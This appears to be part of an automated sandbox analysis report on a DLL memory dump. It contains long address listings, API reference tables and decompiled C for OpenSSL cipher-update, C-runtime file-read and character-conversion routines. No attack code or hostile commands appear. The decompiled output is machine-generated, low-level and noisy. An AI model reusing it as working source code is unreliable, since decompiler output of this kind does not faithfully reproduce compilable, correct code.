                          0x6d4c17a2
                          0x6d4c17b2
                          0x6d4c17b4
                          0x6d4c17bc
                          0x6d4c17c2
                          0x6d4c17c2
                          0x6d4c17a0
                          0x6d4c176c
                          0x6d4c176c
                          0x00000000
                          0x6d4c176c
                          0x6d4c176a
                          0x6d4c1729
                          0x6d4c1729
                          0x6d4c172e
                          0x6d4c172e
                          0x6d4c1733
                          0x6d4c1738
                          0x6d4c173a
                          0x6d4c173c
                          0x00000000
                          0x6d4c1741
                          0x6d4c1727
                          0x6d4c171a
                          0x6d4c16dd
                          0x6d4c16dd
                          0x6d4c16e1
                          0x00000000
                          0x6d4c1822
                          0x6d4c1822
                          0x6d4c1824
                          0x6d4c1827
                          0x6d4c182a
                          0x6d4c182c
                          0x6d4c182f
                          0x6d4c1831
                          0x6d4c1834
                          0x6d4c1845
                          0x6d4c184a
                          0x6d4c184a
                          0x6d4c1834
                          0x6d4c182f
                          0x6d4c184d
                          0x6d4c1851
                          0x6d4c188a
                          0x6d4c188b
                          0x6d4c1890
                          0x6d4c1894
                          0x6d4c1897
                          0x6d4c1899
                          0x6d4c192d
                          0x6d4c192d
                          0x6d4c1931
                          0x6d4c1933
                          0x6d4c193d
                          0x6d4c1946
                          0x6d4c194b
                          0x6d4c194d
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c1935
                          0x6d4c1935
                          0x6d4c1937
                          0x6d4c193b
                          0x6d4c1953
                          0x6d4c195a
                          0x6d4c1961
                          0x6d4c196b
                          0x6d4c196b
                          0x6d4c196c
                          0x6d4c1973
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c193b
                          0x6d4c189f
                          0x6d4c18a5
                          0x6d4c18aa
                          0x6d4c18ad
                          0x6d4c18b0
                          0x6d4c1747
                          0x6d4c174a
                          0x6d4c18b6
                          0x6d4c18b6
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c18c4
                          0x6d4c18c5
                          0x6d4c18ca
                          0x6d4c18cd
                          0x6d4c18d0
                          0x6d4c18e1
                          0x6d4c18e6
                          0x6d4c18e6
                          0x6d4c18e9
                          0x6d4c18eb
                          0x6d4c18ee
                          0x6d4c18f4
                          0x6d4c18f9
                          0x6d4c18fe
                          0x6d4c18fe
                          0x6d4c1907
                          0x6d4c1908
                          0x6d4c190b
                          0x00000000
                          0x00000000
                          0x6d4c18bd
                          0x00000000
                          0x00000000
                          0x6d4c190e
                          0x6d4c1915
                          0x6d4c1917
                          0x6d4c191f
                          0x6d4c1920
                          0x6d4c1921
                          0x6d4c1921
                          0x6d4c1924
                          0x6d4c1925
                          0x6d4c192a
                          0x6d4c192a
                          0x00000000
                          0x00000000
                          0x6d4c18b6
                          0x6d4c18b0
                          0x6d4c1853
                          0x6d4c1854
                          0x6d4c185e
                          0x6d4c1861
                          0x6d4c1866
                          0x00000000
                          0x6d4c1868
                          0x6d4c187b
                          0x6d4c1883
                          0x6d4c1889
                          0x6d4c1889
                          0x6d4c1866
                          0x6d4c1851
                          0x6d4c16e1

                          APIs
                          • _memmove.LIBCMT ref: 6D4C18F9
                          • _memmove.LIBCMT ref: 6D4C1925
                            • Part of subcall function 6D4C2B60: _raise.LIBCMT ref: 6D4C2B78
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memmove$_raise
                          • String ID: .\crypto\evp\evp_enc.c$EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv)$ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16
                          • API String ID: 2343863546-2924504608
                          • Opcode ID: b8e5858ccd1274528e487baefa55c49c7c2610c318a0f40879fbec2e30f72b2d
                          • Instruction ID: 114a94c5b18ffd0f6ba071de704a3bb4e2e63453efa38d40887220bbedebe453
                          • Opcode Fuzzy Hash: b8e5858ccd1274528e487baefa55c49c7c2610c318a0f40879fbec2e30f72b2d
                          • Instruction Fuzzy Hash: 987115B9B09702ABE7208F24DC80F76B3A4BF51719F154128EA1497781E765EC21C7E3
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 98%
                          			E6D4C1D80(void* __ebx, void* __edx) {
                          				void* __edi;
                          				void* __esi;
                          				void* __ebp;
                          				signed int _t46;
                          				signed int _t55;
                          				signed int* _t56;
                          				void* _t59;
                          				signed int _t63;
                          				signed int _t70;
                          				signed int* _t71;
                          				void* _t82;
                          				signed int _t84;
                          				void* _t88;
                          				void* _t90;
                          				signed int _t91;
                          				intOrPtr _t95;
                          				void* _t96;
                          				signed int* _t97;
                          				intOrPtr* _t99;
                          				signed int _t101;
                          				signed int _t102;
                          				intOrPtr _t109;
                          				signed int _t110;
                          				void* _t111;
                          				void* _t115;
                          
                          				_t96 = __edx;
                          				_t82 = __ebx;
                          				_t99 =  *((intOrPtr*)(_t111 + 0xc));
                          				_t109 =  *_t99;
                          				if(( *(_t109 + 0x10) & 0x00100000) == 0) {
                          					_t101 =  *(_t111 + 0x20);
                          					__eflags = _t101;
                          					if(_t101 > 0) {
                          						_t46 =  *(_t99 + 0xc);
                          						 *(_t111 + 0x10) = _t46;
                          						__eflags = _t46;
                          						if(_t46 != 0) {
                          							L11:
                          							_t110 =  *(_t109 + 4);
                          							__eflags = _t110 - 0x20;
                          							if(__eflags > 0) {
                          								E6D4C2B60(_t82, _t90, _t96, _t99, _t101, _t110, __eflags, ".\\crypto\\evp\\evp_enc.c", 0x15e, "bl <= (int)sizeof(ctx->buf)");
                          								_t46 =  *(_t111 + 0x1c);
                          								_t111 = _t111 + 0xc;
                          							}
                          							_push(_t82);
                          							__eflags = _t46;
                          							if(_t46 == 0) {
                          								_t91 =  *(_t111 + 0x20);
                          								_t97 =  *(_t111 + 0x18);
                          								 *( *(_t111 + 0x1c)) = 0;
                          								goto L19;
                          							} else {
                          								_t88 = _t110 - _t46;
                          								_t59 = _t46 + 0x30 + _t99;
                          								__eflags = _t88 - _t101;
                          								if(_t88 <= _t101) {
                          									E6D51F530(_t59,  *(_t111 + 0x20), _t88);
                          									_t63 =  *((intOrPtr*)( *((intOrPtr*)( *_t99 + 0x18))))(_t99,  *((intOrPtr*)(_t111 + 0x2c)), _t99 + 0x30, _t110);
                          									_t111 = _t111 + 0x1c;
                          									__eflags = _t63;
                          									if(_t63 == 0) {
                          										L21:
                          										__eflags = 0;
                          										return 0;
                          									} else {
                          										_t101 = _t101 - _t88;
                          										_t91 =  *(_t111 + 0x20) + _t88;
                          										_t97 =  *(_t111 + 0x18) + _t110;
                          										 *( *(_t111 + 0x1c)) = _t110;
                          										L19:
                          										 *(_t111 + 0x14) = _t91;
                          										_t84 = _t110 - 0x00000001 & _t101;
                          										_t102 = _t101 - _t84;
                          										__eflags = _t102;
                          										if(_t102 <= 0) {
                          											L23:
                          											__eflags = _t84;
                          											if(_t84 != 0) {
                          												__eflags =  *(_t111 + 0x14) + _t102;
                          												E6D51F530(_t99 + 0x30,  *(_t111 + 0x14) + _t102, _t84);
                          											}
                          											 *(_t99 + 0xc) = _t84;
                          											return 1;
                          										} else {
                          											_t55 =  *((intOrPtr*)( *((intOrPtr*)( *_t99 + 0x18))))(_t99, _t97, _t91, _t102);
                          											_t111 = _t111 + 0x10;
                          											__eflags = _t55;
                          											if(_t55 != 0) {
                          												_t56 =  *(_t111 + 0x1c);
                          												 *_t56 =  *_t56 + _t102;
                          												__eflags =  *_t56;
                          												goto L23;
                          											} else {
                          												goto L21;
                          											}
                          										}
                          									}
                          								} else {
                          									E6D51F530(_t59,  *((intOrPtr*)(_t111 + 0x24)), _t101);
                          									_t27 = _t99 + 0xc;
                          									 *_t27 =  *(_t99 + 0xc) + _t101;
                          									__eflags =  *_t27;
                          									 *( *(_t111 + 0x28)) = 0;
                          									return 1;
                          								}
                          							}
                          						} else {
                          							__eflags =  *(_t99 + 0x68) & _t101;
                          							if(( *(_t99 + 0x68) & _t101) != 0) {
                          								goto L11;
                          							} else {
                          								_t70 =  *((intOrPtr*)( *((intOrPtr*)(_t109 + 0x18))))(_t99,  *(_t111 + 0x1c),  *(_t111 + 0x20), _t101);
                          								__eflags = _t70;
                          								_t71 =  *(_t111 + 0x28);
                          								if(_t70 == 0) {
                          									 *_t71 = 0;
                          									__eflags = 0;
                          									return 0;
                          								} else {
                          									 *_t71 = _t101;
                          									return 1;
                          								}
                          							}
                          						}
                          					} else {
                          						 *( *(_t111 + 0x18)) = 0;
                          						__eflags = _t101;
                          						_t13 = _t101 == 0;
                          						__eflags = _t13;
                          						return 0 | _t13;
                          					}
                          				} else {
                          					_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t109 + 0x18))))(_t99,  *(_t111 + 0x18),  *(_t111 + 0x1c),  *(_t111 + 0x1c));
                          					_t115 = _t111 + 0x10;
                          					if(_t95 >= 0) {
                          						 *((intOrPtr*)( *((intOrPtr*)(_t115 + 0x14)))) = _t95;
                          						return 1;
                          					} else {
                          						return 0;
                          					}
                          				}
                          			}




























                          0x6d4c1d80
                          0x6d4c1d80
                          0x6d4c1d82
                          0x6d4c1d86
                          0x6d4c1d8f
                          0x6d4c1dc0
                          0x6d4c1dc4
                          0x6d4c1dc6
                          0x6d4c1ddd
                          0x6d4c1de0
                          0x6d4c1de4
                          0x6d4c1de6
                          0x6d4c1e1e
                          0x6d4c1e1e
                          0x6d4c1e21
                          0x6d4c1e24
                          0x6d4c1e35
                          0x6d4c1e3a
                          0x6d4c1e3e
                          0x6d4c1e3e
                          0x6d4c1e41
                          0x6d4c1e42
                          0x6d4c1e44
                          0x6d4c1eb6
                          0x6d4c1eba
                          0x6d4c1ebe
                          0x00000000
                          0x6d4c1e46
                          0x6d4c1e48
                          0x6d4c1e4d
                          0x6d4c1e4f
                          0x6d4c1e51
                          0x6d4c1e7f
                          0x6d4c1e93
                          0x6d4c1e95
                          0x6d4c1e98
                          0x6d4c1e9a
                          0x6d4c1ee5
                          0x6d4c1ee8
                          0x6d4c1eeb
                          0x6d4c1e9c
                          0x6d4c1ea0
                          0x6d4c1eaa
                          0x6d4c1eac
                          0x6d4c1eae
                          0x6d4c1ec4
                          0x6d4c1ec7
                          0x6d4c1ecb
                          0x6d4c1ecd
                          0x6d4c1ecf
                          0x6d4c1ed1
                          0x6d4c1ef2
                          0x6d4c1ef2
                          0x6d4c1ef4
                          0x6d4c1efa
                          0x6d4c1f02
                          0x6d4c1f07
                          0x6d4c1f0a
                          0x6d4c1f16
                          0x6d4c1ed3
                          0x6d4c1edc
                          0x6d4c1ede
                          0x6d4c1ee1
                          0x6d4c1ee3
                          0x6d4c1eec
                          0x6d4c1ef0
                          0x6d4c1ef0
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c1ee3
                          0x6d4c1ed1
                          0x6d4c1e53
                          0x6d4c1e59
                          0x6d4c1e65
                          0x6d4c1e65
                          0x6d4c1e65
                          0x6d4c1e6b
                          0x6d4c1e77
                          0x6d4c1e77
                          0x6d4c1e51
                          0x6d4c1de8
                          0x6d4c1de8
                          0x6d4c1deb
                          0x00000000
                          0x6d4c1ded
                          0x6d4c1dfa
                          0x6d4c1dff
                          0x6d4c1e01
                          0x6d4c1e05
                          0x6d4c1e14
                          0x6d4c1e1a
                          0x6d4c1e1d
                          0x6d4c1e07
                          0x6d4c1e07
                          0x6d4c1e11
                          0x6d4c1e11
                          0x6d4c1e05
                          0x6d4c1deb
                          0x6d4c1dc8
                          0x6d4c1dcc
                          0x6d4c1dd4
                          0x6d4c1dd8
                          0x6d4c1dd8
                          0x6d4c1ddc
                          0x6d4c1ddc
                          0x6d4c1d91
                          0x6d4c1da3
                          0x6d4c1da5
                          0x6d4c1daa
                          0x6d4c1db7
                          0x6d4c1dbe
                          0x6d4c1dad
                          0x6d4c1db0
                          0x6d4c1db0
                          0x6d4c1daa

                          Strings
                          • bl <= (int)sizeof(ctx->buf), xrefs: 6D4C1E26
                          • .\crypto\evp\evp_enc.c, xrefs: 6D4C1E30
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID: .\crypto\evp\evp_enc.c$bl <= (int)sizeof(ctx->buf)
                          • API String ID: 0-2268396538
                          • Opcode ID: 52dac32236dba069a1038a88990093618bb67dddaeea10e0b31a82e21efd9b40
                          • Instruction ID: 5383e17377508cdf67e3f66c9cb0820a749d28296e0fa7b16a907f843af87c2b
                          • Opcode Fuzzy Hash: 52dac32236dba069a1038a88990093618bb67dddaeea10e0b31a82e21efd9b40
                          • Instruction Fuzzy Hash: 29515C766082069FD701CE99E880EABB7E8FF84364F044529F958C7700D775ED568BA2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 69%
                          			E6D52229B(char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
                          				char* _v8;
                          				signed int _v12;
                          				signed int _v16;
                          				signed int _v20;
                          				void* __ebx;
                          				void* __esi;
                          				signed int _t74;
                          				signed int _t78;
                          				char _t81;
                          				signed int _t86;
                          				signed int _t88;
                          				signed int _t91;
                          				signed int _t94;
                          				signed int _t97;
                          				signed int _t98;
                          				char* _t99;
                          				signed int _t100;
                          				signed int _t102;
                          				signed int _t103;
                          				signed int _t104;
                          				char* _t110;
                          				signed int _t113;
                          				signed int _t117;
                          				signed int _t119;
                          				void* _t120;
                          
                          				_t99 = _a4;
                          				_t74 = _a8;
                          				_v8 = _t99;
                          				_v12 = _t74;
                          				if(_a12 == 0) {
                          					L5:
                          					return 0;
                          				}
                          				_t97 = _a16;
                          				if(_t97 == 0) {
                          					goto L5;
                          				}
                          				if(_t99 != 0) {
                          					_t119 = _a20;
                          					__eflags = _t119;
                          					if(_t119 == 0) {
                          						L9:
                          						__eflags = _a8 - 0xffffffff;
                          						if(_a8 != 0xffffffff) {
                          							_t74 = E6D51FE40(_t99, 0, _a8);
                          							_t120 = _t120 + 0xc;
                          						}
                          						__eflags = _t119;
                          						if(_t119 == 0) {
                          							goto L3;
                          						} else {
                          							_t78 = _t74 | 0xffffffff;
                          							__eflags = _t97 - _t78 / _a12;
                          							if(_t97 > _t78 / _a12) {
                          								goto L3;
                          							}
                          							L13:
                          							_t117 = _a12 * _t97;
                          							__eflags =  *(_t119 + 0xc) & 0x0000010c;
                          							_t98 = _t117;
                          							if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
                          								_t100 = 0x1000;
                          							} else {
                          								_t100 =  *(_t119 + 0x18);
                          							}
                          							_v16 = _t100;
                          							__eflags = _t117;
                          							if(_t117 == 0) {
                          								L41:
                          								return _a16;
                          							} else {
                          								do {
                          									__eflags =  *(_t119 + 0xc) & 0x0000010c;
                          									if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
                          										L24:
                          										__eflags = _t98 - _t100;
                          										if(_t98 < _t100) {
                          											_t81 = E6D529B55(_t98, _t119, _t119);
                          											__eflags = _t81 - 0xffffffff;
                          											if(_t81 == 0xffffffff) {
                          												L46:
                          												return (_t117 - _t98) / _a12;
                          											}
                          											_t102 = _v12;
                          											__eflags = _t102;
                          											if(_t102 == 0) {
                          												L42:
                          												__eflags = _a8 - 0xffffffff;
                          												if(_a8 != 0xffffffff) {
                          													E6D51FE40(_a4, 0, _a8);
                          												}
                          												 *((intOrPtr*)(E6D522D08())) = 0x22;
                          												L4:
                          												E6D52616B();
                          												goto L5;
                          											}
                          											_t110 = _v8;
                          											 *_t110 = _t81;
                          											_t98 = _t98 - 1;
                          											_v8 = _t110 + 1;
                          											_t103 = _t102 - 1;
                          											__eflags = _t103;
                          											_v12 = _t103;
                          											_t100 =  *(_t119 + 0x18);
                          											_v16 = _t100;
                          											goto L40;
                          										}
                          										__eflags = _t100;
                          										if(_t100 == 0) {
                          											_t86 = 0x7fffffff;
                          											__eflags = _t98 - 0x7fffffff;
                          											if(_t98 <= 0x7fffffff) {
                          												_t86 = _t98;
                          											}
                          										} else {
                          											__eflags = _t98 - 0x7fffffff;
                          											if(_t98 <= 0x7fffffff) {
                          												_t44 = _t98 % _t100;
                          												__eflags = _t44;
                          												_t113 = _t44;
                          												_t91 = _t98;
                          											} else {
                          												_t113 = 0x7fffffff % _t100;
                          												_t91 = 0x7fffffff;
                          											}
                          											_t86 = _t91 - _t113;
                          										}
                          										__eflags = _t86 - _v12;
                          										if(_t86 > _v12) {
                          											goto L42;
                          										} else {
                          											_push(_t86);
                          											_push(_v8);
                          											_push(E6D52219E(_t119));
                          											_t88 = E6D52A2F5();
                          											_t120 = _t120 + 0xc;
                          											__eflags = _t88;
                          											if(_t88 == 0) {
                          												 *(_t119 + 0xc) =  *(_t119 + 0xc) | 0x00000010;
                          												goto L46;
                          											}
                          											__eflags = _t88 - 0xffffffff;
                          											if(_t88 == 0xffffffff) {
                          												L45:
                          												_t64 = _t119 + 0xc;
                          												 *_t64 =  *(_t119 + 0xc) | 0x00000020;
                          												__eflags =  *_t64;
                          												goto L46;
                          											}
                          											_t98 = _t98 - _t88;
                          											__eflags = _t98;
                          											L36:
                          											_v8 = _v8 + _t88;
                          											_v12 = _v12 - _t88;
                          											_t100 = _v16;
                          											goto L40;
                          										}
                          									}
                          									_t94 =  *(_t119 + 4);
                          									_v20 = _t94;
                          									__eflags = _t94;
                          									if(__eflags == 0) {
                          										goto L24;
                          									}
                          									if(__eflags < 0) {
                          										goto L45;
                          									}
                          									__eflags = _t98 - _t94;
                          									if(_t98 < _t94) {
                          										_t94 = _t98;
                          										_v20 = _t98;
                          									}
                          									_t104 = _v12;
                          									__eflags = _t94 - _t104;
                          									if(_t94 > _t104) {
                          										goto L42;
                          									} else {
                          										E6D52A162(_v8, _t104,  *_t119, _t94);
                          										_t88 = _v20;
                          										_t120 = _t120 + 0x10;
                          										 *(_t119 + 4) =  *(_t119 + 4) - _t88;
                          										_t98 = _t98 - _t88;
                          										 *_t119 =  *_t119 + _t88;
                          										goto L36;
                          									}
                          									L40:
                          									__eflags = _t98;
                          								} while (_t98 != 0);
                          								goto L41;
                          							}
                          						}
                          					}
                          					_t74 = (_t74 | 0xffffffff) / _a12;
                          					__eflags = _t97 - _t74;
                          					if(_t97 <= _t74) {
                          						goto L13;
                          					}
                          					goto L9;
                          				}
                          				L3:
                          				 *((intOrPtr*)(E6D522D08())) = 0x16;
                          				goto L4;
                          			}




























                          0x6d5222a5
                          0x6d5222a8
                          0x6d5222ae
                          0x6d5222b1
                          0x6d5222b4
                          0x6d5222d1
                          0x00000000
                          0x6d5222d1
                          0x6d5222b6
                          0x6d5222bb
                          0x00000000
                          0x00000000
                          0x6d5222bf
                          0x6d5222da
                          0x6d5222dd
                          0x6d5222df
                          0x6d5222ed
                          0x6d5222ed
                          0x6d5222f1
                          0x6d5222f9
                          0x6d5222fe
                          0x6d5222fe
                          0x6d522301
                          0x6d522303
                          0x00000000
                          0x6d522305
                          0x6d522305
                          0x6d52230d
                          0x6d52230f
                          0x00000000
                          0x00000000
                          0x6d522311
                          0x6d522314
                          0x6d522317
                          0x6d52231e
                          0x6d522320
                          0x6d522327
                          0x6d522322
                          0x6d522322
                          0x6d522322
                          0x6d52232c
                          0x6d52232f
                          0x6d522331
                          0x6d52241a
                          0x00000000
                          0x6d522337
                          0x6d522337
                          0x6d522337
                          0x6d52233e
                          0x6d52237f
                          0x6d52237f
                          0x6d522381
                          0x6d5223ec
                          0x6d5223f2
                          0x6d5223f5
                          0x6d52244c
                          0x00000000
                          0x6d522452
                          0x6d5223f7
                          0x6d5223fa
                          0x6d5223fc
                          0x6d522422
                          0x6d522422
                          0x6d522426
                          0x6d522430
                          0x6d522435
                          0x6d52243d
                          0x6d5222cc
                          0x6d5222cc
                          0x00000000
                          0x6d5222cc
                          0x6d5223fe
                          0x6d522401
                          0x6d522404
                          0x6d522405
                          0x6d522408
                          0x6d522408
                          0x6d522409
                          0x6d52240c
                          0x6d52240f
                          0x00000000
                          0x6d52240f
                          0x6d522383
                          0x6d522385
                          0x6d5223a9
                          0x6d5223ae
                          0x6d5223b4
                          0x6d5223b6
                          0x6d5223b6
                          0x6d522387
                          0x6d522389
                          0x6d52238f
                          0x6d5223a1
                          0x6d5223a1
                          0x6d5223a1
                          0x6d5223a3
                          0x6d522391
                          0x6d522396
                          0x6d522398
                          0x6d522398
                          0x6d5223a5
                          0x6d5223a5
                          0x6d5223b8
                          0x6d5223bb
                          0x00000000
                          0x6d5223bd
                          0x6d5223bd
                          0x6d5223be
                          0x6d5223c8
                          0x6d5223c9
                          0x6d5223ce
                          0x6d5223d1
                          0x6d5223d3
                          0x6d52245a
                          0x00000000
                          0x6d52245a
                          0x6d5223d9
                          0x6d5223dc
                          0x6d522448
                          0x6d522448
                          0x6d522448
                          0x6d522448
                          0x00000000
                          0x6d522448
                          0x6d5223de
                          0x6d5223de
                          0x6d5223e0
                          0x6d5223e0
                          0x6d5223e3
                          0x6d5223e6
                          0x00000000
                          0x6d5223e6
                          0x6d5223bb
                          0x6d522340
                          0x6d522343
                          0x6d522346
                          0x6d522348
                          0x00000000
                          0x00000000
                          0x6d52234a
                          0x00000000
                          0x00000000
                          0x6d522350
                          0x6d522352
                          0x6d522354
                          0x6d522356
                          0x6d522356
                          0x6d522359
                          0x6d52235c
                          0x6d52235e
                          0x00000000
                          0x6d522364
                          0x6d52236b
                          0x6d522370
                          0x6d522373
                          0x6d522376
                          0x6d522379
                          0x6d52237b
                          0x00000000
                          0x6d52237b
                          0x6d522412
                          0x6d522412
                          0x6d522412
                          0x00000000
                          0x6d522337
                          0x6d522331
                          0x6d522303
                          0x6d5222e6
                          0x6d5222e9
                          0x6d5222eb
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d5222eb
                          0x6d5222c1
                          0x6d5222c6
                          0x00000000

                          APIs
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
                          • String ID:
                          • API String ID: 1559183368-0
                          • Opcode ID: 6f1ea96e35a1ef22e6432763c8a8511bfd438f377652641f1532b6bf8012eccc
                          • Instruction ID: d7c84f753a9be9a35d97452ca6d6ecbd13cfb6a9037015135c750ff597e879a3
                          • Opcode Fuzzy Hash: 6f1ea96e35a1ef22e6432763c8a8511bfd438f377652641f1532b6bf8012eccc
                          • Instruction Fuzzy Hash: 6D511638A203069BDB2CCF69C8806AE77B5BF51360F508B29E874D6AD0D7719E588B51
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 89%
                          			E6D4CAB50(char* _a4, char* _a8) {
                          				signed int _v8;
                          				short _v24;
                          				char* _v28;
                          				int _v32;
                          				int _v36;
                          				void* _v48;
                          				void* __ebx;
                          				void* __edi;
                          				void* __esi;
                          				signed int _t32;
                          				char _t34;
                          				int _t35;
                          				int _t36;
                          				short* _t39;
                          				char _t43;
                          				void* _t48;
                          				int _t59;
                          				char* _t60;
                          				char* _t61;
                          				char* _t65;
                          				char* _t73;
                          				char* _t74;
                          				signed int _t77;
                          				short* _t78;
                          
                          				E6D51FEE0(0x20);
                          				_t32 =  *0x6d57db60; // 0xa6c7de91
                          				_v8 = _t32 ^ _t77;
                          				_t60 = _a8;
                          				_t74 = _a4;
                          				_t61 = _t74;
                          				_v28 = _t60;
                          				_t73 =  &(_t61[1]);
                          				do {
                          					_t34 =  *_t61;
                          					_t61 =  &(_t61[1]);
                          				} while (_t34 != 0);
                          				_v36 = 8;
                          				_t35 = _t61 - _t73 + 1;
                          				_v32 = _t35;
                          				_t36 = MultiByteToWideChar(0xfde9, 8, _t74, _t35, 0, 0);
                          				_t75 = _t36;
                          				if(_t36 > 0) {
                          					L8:
                          					E6D520F10(_t75 + _t75);
                          					_t39 = _t78;
                          					_t75 = MultiByteToWideChar;
                          					_v28 = _t39;
                          					if(MultiByteToWideChar(0xfde9, _v36, _t74, _v32, _t39, MultiByteToWideChar) == 0) {
                          						goto L17;
                          					} else {
                          						_t65 = _t60;
                          						_t73 =  &(_t65[1]);
                          						do {
                          							_t43 =  *_t65;
                          							_t65 =  &(_t65[1]);
                          						} while (_t43 != 0);
                          						if(MultiByteToWideChar(0xfde9, 0, _t60, _t65 - _t73 + 1,  &_v24, 8) == 0) {
                          							goto L17;
                          						} else {
                          							_t48 = E6D522BF5(_v28,  &_v24);
                          							_t76 = _t48;
                          							if(_t48 != 0 ||  *((intOrPtr*)(E6D522D08())) != 2 &&  *((intOrPtr*)(E6D522D08())) != 9) {
                          								return E6D51FED0(_t60, _v8 ^ _t77, _t73, _t74, _t76);
                          							} else {
                          								E6D522286(_t74, _t60);
                          								return E6D51FED0(_t60, _v8 ^ _t77, _t73, _t74, _t76);
                          							}
                          						}
                          					}
                          				} else {
                          					_t60 = GetLastError;
                          					if(GetLastError() != 0x3ec) {
                          						L5:
                          						if(GetLastError() != 0x459) {
                          							L17:
                          							return E6D51FED0(_t60, _v8 ^ _t77, _t73, _t74, _t75);
                          						} else {
                          							E6D522286(_t74, _v28);
                          							return E6D51FED0(_t60, _v8 ^ _t77, _t73, _t74, _t75);
                          						}
                          					} else {
                          						_v36 = 0;
                          						_t59 = MultiByteToWideChar(0xfde9, 0, _t74, _v32, 0, 0);
                          						_t75 = _t59;
                          						if(_t59 > 0) {
                          							_t60 = _v28;
                          							goto L8;
                          						} else {
                          							goto L5;
                          						}
                          					}
                          				}
                          			}



























                          0x6d4cab58
                          0x6d4cab5d
                          0x6d4cab64
                          0x6d4cab68
                          0x6d4cab6d
                          0x6d4cab70
                          0x6d4cab72
                          0x6d4cab75
                          0x6d4cab78
                          0x6d4cab78
                          0x6d4cab7a
                          0x6d4cab7b
                          0x6d4cab83
                          0x6d4cab8c
                          0x6d4cab98
                          0x6d4cab9b
                          0x6d4caba1
                          0x6d4caba5
                          0x6d4cac08
                          0x6d4cac0b
                          0x6d4cac10
                          0x6d4cac13
                          0x6d4cac1d
                          0x6d4cac2d
                          0x00000000
                          0x6d4cac33
                          0x6d4cac33
                          0x6d4cac35
                          0x6d4cac38
                          0x6d4cac38
                          0x6d4cac3a
                          0x6d4cac3b
                          0x6d4cac57
                          0x00000000
                          0x6d4cac59
                          0x6d4cac60
                          0x6d4cac65
                          0x6d4cac6c
                          0x6d4cacb5
                          0x6d4cac82
                          0x6d4cac84
                          0x6d4cac9f
                          0x6d4cac9f
                          0x6d4cac6c
                          0x6d4cac57
                          0x6d4caba7
                          0x6d4caba7
                          0x6d4cabb4
                          0x6d4cabd8
                          0x6d4cabdf
                          0x6d4cacb6
                          0x6d4caccb
                          0x6d4cabe5
                          0x6d4cabe9
                          0x6d4cac04
                          0x6d4cac04
                          0x6d4cabb6
                          0x6d4cabbd
                          0x6d4cabcc
                          0x6d4cabd2
                          0x6d4cabd6
                          0x6d4cac05
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4cabd6
                          0x6d4cabb4

                          APIs
                          • MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,?,?,00000000), ref: 6D4CAB9B
                          • GetLastError.KERNEL32(?,?,?,?,00000000), ref: 6D4CABAD
                          • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,?,?,00000000), ref: 6D4CABCC
                          • GetLastError.KERNEL32(?,?,?,?,00000000), ref: 6D4CABD8
                          • MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,?,?,00000000), ref: 6D4CAC29
                          • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,?,?,00000000), ref: 6D4CAC53
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
